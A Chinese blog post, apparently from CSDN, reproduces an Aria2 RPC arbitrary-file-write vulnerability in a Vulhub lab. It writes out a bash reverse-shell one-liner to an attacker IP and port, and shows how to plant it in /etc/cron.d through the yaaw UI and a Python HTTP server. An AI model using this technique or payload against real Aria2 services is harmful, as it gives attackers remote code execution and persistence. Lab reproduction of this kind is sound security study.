vulhub漏洞复现系列之aria2任意文件写入漏洞

本文详细介绍了如何复现和利用Aria2的RPC服务中的任意文件写入漏洞。通过设置下载链接、路径和文件名,可以实现对靶机的文件写入。利用第三方UI工具yaaw进行交互,并通过python简单服务器提供shell文件。尽管遇到了一些挑战,最终成功反弹shell,揭示了靶场环境可能存在的问题。
摘要由CSDN通过智能技术生成

我的天,这个漏洞的复现,你看了我的博客之后你再说不会复现我揍你我跟你讲!(狗头保命)


工具介绍:
Aria2是一个命令行下轻量级、多协议、多来源的下载工具(支持 HTTP/HTTPS、FTP、BitTorrent、Metalink),内建XML-RPC和JSON-RPC接口。在有权限的情况下,我们可以使用RPC接口来操作aria2来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞。
漏洞描述:
通过控制文件下载链接,文件储存路径以及文件名,可以实现任意文件写入。同时通过Aria2提供的其他功能,诸如save-session等也能轻易地实现任意文件写入指定功能。
漏洞复现:
6800是aria2的rpc服务的默认端口,环境启动后,访问http://your-ip:6800/,看到一个空白页面,但是通过bp抓包可以看到返回了404
在这里插入图片描述

靶场准备好就可以开始咱们的复现了,首先因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如 http://binux.github.io/yaaw/demo/
访问这个UI,点击这个小扳手,添加你的靶场域名,
在这里插入图片描述

如图
在这里插入图片描述

点击save保存,准备好shell
#! /bin/bash
/bin/bash -i >& /dev/tcp/192.168.174.1/4444 0>&1
建议是在linux下创建一个空文件,然后再使用vim添加,注意文件结尾需要有一个换行符
在这里插入图片描述

再点击add,
在这里插入图片描述

坑点来了,因为这个第三方UI我没使用过也没了解过,我以为是直接把写好的shell随便放个地方让他导入就行,结果我错了,会遇到下边这个报错的问题。
在这里插入图片描述

所以我想可能是需要像外网一样的环境才能远程下载到,所以用python创建一个简单的服务器,python2和python3命令不一样,这里还请各位注意一下。
Python2 :python2 -m SimpleHTTPServer 8000
Python3 :python3 -m http.server 8000
在这里插入图片描述

搭建成功后访问一下,可以看到写好的shell文件。
在这里插入图片描述

然后就是注意下载到靶机的位置不能写错,/etc/cron.d
在这里插入图片描述

在这里插入图片描述

文件成功下载(这个SHELL呢和Lin1是一样的,就是为了让各位看官能分清一下,又多传了一个)
在这里插入图片描述

但是等了很久都没反弹到shell,看人家说是1分钟左右,于是找了下原因,在这篇博客中https://www.cnblogs.com/foe0/p/11353506.html博主就说了大概率是靶场环境不完整导致的。
既然他定时任务动不了,那我自己动手不过分吧。
进去文件夹,给文件赋予权限,运行它
在这里插入图片描述

成功反弹shell
在这里插入图片描述

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值